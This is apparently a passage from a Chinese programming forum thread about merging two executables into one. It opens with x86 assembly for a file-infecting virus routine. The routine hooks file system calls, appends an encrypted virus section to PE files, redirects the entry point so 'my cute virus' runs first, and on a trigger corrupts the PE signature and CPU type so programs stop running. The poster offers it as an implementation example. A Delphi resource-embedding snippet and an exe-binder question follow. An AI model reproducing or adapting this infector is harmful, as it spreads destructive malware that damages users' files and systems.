下面是一个实现例子:INFECT_PE_FILE:
; ADD INFECT PE FILE CODES HERE!!!!!!!
XOR EAX,EAX ; 清 eax
; 清 MY SECTION 内容 
LEA EDI,EBP[NEWOBJ-MYHOOKAPI]
MOV ECX,0AH
CLD
REP STOSD
; 设置 MY SECTION 属性
MOV DWORD PTR [EDI-4],0C0000040HLEA EDI,EBP[FILEOP-MYHOOKAPI] ; 得到 IFSMgr_Ring0_FileIO 的地址
MOV AX,R0_FILEATTRIBUTES ; 功能号: 取文件属性
CALL EDI ; GET OLD FILE ATTRIB
JC EXIT_INFECT ; 出错,放弃感染MOV DR3,ECX ; SAVE THE FILE ATTRIB TO => DR1
XOR ECX,ECX ; 功能号: 置文件属性
MOV AX,R0_FILEATTRIBUTES+01H
CALL EDI ; SET COMMON FILE ATTRIB
JC EXIT_INFECTXOR EAX,EAX ; 清 eax
MOV EAX,R0_OPENCREATFILE ; 打开文件
XOR ECX,ECX
MOV EDX,01H
MOV EBX,02H ; 同 int 21h (function 6ch)
LEA ESI,EBP[BUF-MYHOOKAPI] ; 文件名
CALL EDI
JC RETURN_ATTRIBXCHG EAX,EBX ; SAVE FILE HANDLE TO EBX
MOV EAX,R0_READFILE ; FILE OPERATION READ
LEA ESI,EBP[PESTART-MYHOOKAPI] ; READ BUFFER
XOR ECX,ECX
MOV CL,04H ; READ 4 BYTES TO BUF
XOR EDX,EDX
MOV DL,3CH ; READ FROM OFFSET:  3CHCALL EDI
JC CLOSEFILEMOV EDX,EBP[PESTART-MYHOOKAPI] ; READ FROM OFFSET
MOV EAX,R0_READFILE ; READ FILE
LEA ESI,EBP[PEHEADER-MYHOOKAPI] ; READ BUFFER
MOV ECX,500H ; READ LENGTH
CALL EDI ; READ PE_HEADER
JC CLOSEFILECMP DWORD PTR EBP[PESIGN-MYHOOKAPI],4550H ; PE 文件格式?
JNZ CLOSEFILE ; 不是,放弃感染CMP WORD PTR EBP[PESIGN-MYHOOKAPI+1AH],0FFFFH ; 感染了吗?
JZ CLOSEFILE ; 是的,放弃感染MOV WORD PTR EBP[PESIGN-MYHOOKAPI+1AH],0FFFFH ; SET INFECTED MASKPUSHAD ; 保存全部寄存器
;=========================================
; USEFUL DATA:
; EBX - OPEN FILE HANDLE
; EDI - FILEOP FUNCTION
; EBP - OFFSET
;=========================================
; LOCAL THE OBJECT TABLE
XOR EAX,EAX ; 清 eax
MOV AX,EBP[NTHEADERSIZE-MYHOOKAPI] ; 得到 Optional Header 的大小
ADD EAX,18H ; 加上 18h, EAX - PE 文件头大小
MOV EBP[OBJTABOFFSET-MYHOOKAPI],EAX ; CALCULATE THE OBJECT TABLE OFFSET
LEA EAX,EBP[PEHEADER-MYHOOKAPI] ; 取得 peheader 在内存中的偏移
ADD EBP[OBJTABOFFSET-MYHOOKAPI],EAX ; 计算并定位 object table 的偏移
; END OF LOCAL
XOR EAX,EAX ; 清 eax
XOR EDX,EDX ; 清 edx
MOV AX,EBP[NUMOBJ-MYHOOKAPI] ; GET THE NUMBER OF OBJECT
MOV ECX,40 ; 取得我的 section 在 peheader 中的开始地址
MUL ECX ; NOW THE [EDX:EAX] SAVE THE MY OBJECT ENTRY
MOV ESI,EBP[OBJTABOFFSET-MYHOOKAPI] ; OBJECT TABLE ENTRY POINT
ADD ESI,EAX ; CALCULATE MY OBJECT IN PEHEADER
INC WORD PTR EBP[NUMOBJ-MYHOOKAPI] ; object number + 1
;=============================================
; ESI: MY OBJ IN PEHEADER
; EDI: MY OBJ
;=============================================
MOV EAX,[ESI-40+8] ; 得到原最后一个 section 的 virtualsize
ADD EAX,[ESI-40+12] ; 得到原最后一个 section 的 virtualoffset
; CALCULATE MY SECTION IN MEMORY 计算我的段的 virtualsize & virtualoffset
MOV ECX,EBP[OBJALIGN-MYHOOKAPI] ; ecx - 内存中的段对齐方式
XOR EDX,EDX ; 清 edx
DIV ECX ; 计算我的段的 RVA
OR EDX,EDX
JZ VCON1
INC EAX
VCON1:
MUL ECX
MOV EBP[RVA-MYHOOKAPI],EAX ; 保存我的段的 RVAXOR EDX,EDX ; 清 EDX
MOV EAX,OFFSET VIRMEMORYSIZE-VIRSTART ; 计算我的段的 VIRTUALSIZE
DIV ECX
OR EDX,EDX
JZ VCON2
INC EAX
VCON2:
MUL ECX
MOV EBP[VIRTUALSIZE-MYHOOKAPI],EAX
; CALCULATE MY SECTION IN PHYSICAL FILE
MOV ECX,EBP[FILEALIGN-MYHOOKAPI] ; 计算我的段的 PHYSICALSIZE
XOR EDX,EDX
MOV EAX,EBP[VIR_ENCRY_LENGTH-MYHOOKAPI]
DIV ECX
OR EDX,EDX
JZ VCON3
INC EAX
VCON3:
MUL ECX
MOV EBP[PHYSICALSIZE-MYHOOKAPI],EAXMOV EAX,[ESI-40+16]
ADD EAX,[ESI-40+20]XOR EDX,EDX ; 计算我的段的 PHYSICALOFFSET
DIV ECX
OR EDX,EDX
JZ VCON4
INC EAX
VCON4:
MUL ECX
MOV EBP[PHYSICALOFFSET-MYHOOKAPI],EAX
; CALCULATE THE IMAGESIZE AND ENTRYPOINT
MOV ECX,EBP[OBJALIGN-MYHOOKAPI] ; 计算新的 IMAGESIZE
MOV EAX,EBP[IMAGESIZE-MYHOOKAPI]
ADD EAX,OFFSET VIRMEMORYSIZE-VIRSTART
DIV ECX
OR EDX,EDX
JZ VCON5
INC EAX
VCON5:
MUL ECX
MOV EBP[IMAGESIZE-MYHOOKAPI],EAX
; SAVE MY OLD SECTION TO IMAGE
LEA EDI,EBP[NEWOBJ-MYHOOKAPI] ; EDI - 我的段的地址
XCHG EDI,ESI ; ESI - 我的段的地址,EDI - PEHEADER 中我的段的入口地址
MOV ECX,10 ; 搬移字节数 10*4
CLD
REP MOVSD ; 搬过去
; CALCULATE RVA, MAKE SURE MY CUTE VIRUS RUN FIRST! ^O^
MOV EAX,EBP[RVA-MYHOOKAPI] ; 计算新的 ENTRYPOINTRVA
MOV EBX,EBP[ENTRYPOINTRVA-MYHOOKAPI] ; 保存原来的偏移到 OLDENTRYPOINT
MOV EBP[ENTRYPOINTRVA-MYHOOKAPI],EAX
MOV ECX,EBP[IMAGEBASE-MYHOOKAPI]
ADD EBX,ECX
MOV EBP[OLDENTRYPOINT-MYHOOKAPI],EBX
PUSHAD
CALL ENCRYATION_MYSELF
ADD EAX,ECX ; VIR START IN MEMORY
MOV EDI,EBP[USED_OFFSET-MYHOOKAPI]
ADD [EDI],EAX
POPADCALL CHECKTRIGGER
OR EAX,EAX
JZ VCON6
; Make 'PE' File To 'MZ' File, and Show My Cute Virus Name !
MOV DWORD PTR EBP[PESIGN-MYHOOKAPI],NOT(92350209H) ; Replace 'PE' Sign
; Change CPU Type ( 014C h => 014D h ), Stop Win App Run! 
MOV WORD PTR EBP[CPUTYPE-MYHOOKAPI],014DH 
VCON6:
POPAD ; 全局出栈MOV EAX,R0_WRITEFILE ; 写 PE HEADER
MOV ECX,500H
MOV EDX,EBP[PESTART-MYHOOKAPI]
LEA ESI,EBP[PEHEADER-MYHOOKAPI]
CALL EDI ; WRITE NEW PE HEADER TO FILE
JC CLOSEFILEMOV EAX,R0_WRITEFILE ; 写 VIRUS BODY
MOV ECX,EBP[VIR_ENCRY_LENGTH-MYHOOKAPI]
MOV EDX,EBP[PHYSICALOFFSET-MYHOOKAPI]
LEA ESI,EBP[VIR_ENCRY_START-MYHOOKAPI]
CALL EDI
; Change Dos Sub Header Message!
CALL CHECKTRIGGER
OR EAX,EAX
JZ CLOSEFILEMOV EAX,R0_WRITEFILE
XOR ECX,ECX
INC ECX
INC ECX
INC ECX
INC ECX
LEA ESI,EBP[PESTART-MYHOOKAPI]
MOV DWORD PTR [ESI],20202020H
MOV EDX,04EH
CALL EDICALL NOTMSGMOV EAX,R0_WRITEFILE
MOV ECX,14
LEA ESI,EBP[MSG-MYHOOKAPI]
MOV EDX,04EH+04H
CALL EDICALL NOTMSGCLOSEFILE:
MOV EAX,R0_CLOSEFILE ; 关档
CALL EDI
RETURN_ATTRIB:
MOV EAX,DR3 ; 恢复文件属性
MOV ECX,EAX
MOV AX,R0_FILEATTRIBUTES+1
LEA ESI,EBP[BUF-MYHOOKAPI]
CALL EDI
EXIT_INFECT: CANCELACTION:
MOV BYTE PTR EBP[MYFLAG-MYHOOKAPI],0 ; 设置忙位为零
MOV EAX,EBP[OLDHOOKAPI-MYHOOKAPI] ; 得到旧的 FILESYSTEMAPIHOOK 入口
MOV DR1,EAX ; 暂存到 DR1
POPAD ; 全局出栈
MOV EAX,DR1 ; 将 DR1 ( 旧的 FILESYSTEMAPIHOOK ) 返回 EAX
JMP [EAX] 别忘了将这里的 vxd 调用换为 api 调用

解决方案 »

  1.   

    使用资源,先把你要合并的exe文件写到资源文件(.rc)中,并生成.res文件,
    资源文件(.rc)可这么写:
    myexe  RCDATA "F:\delphitmp\exe\桌面工具.exe"在程序中还原原来的exe文件用如下语句(选自我的一个程序)
    procedure TForm1.Button1Click(Sender: TObject);
    var
    FStream :TResourceStream ;
    ls_filename:string;
    begin
            ls_filename:=extractfilepath(application.ExeName)+'桌面工具.exe';
            FStream := TResourceStream.Create (Hinstance ,'myexe',RT_RCDATA ) ;
            if not fileexists(ls_filename)  then
            FStream.SaveToFile(ls_filename);
    end;
    这样就把原来的exe文件放到同一目录下了程序的关键在于
    myexe  RCDATA "F:\delphitmp\exe\桌面工具.exe" 中的  RCDATA ,千万别搞错
      

  2.   

    我的意思能否选择程序exe1,在选择程序exe2,添入要生成的exe文件名,就可以生成exe3,运行exe3后就可以顺序执行exe1和exe2,或同步执行exe1和exe2。并不是用资源文件来装载exe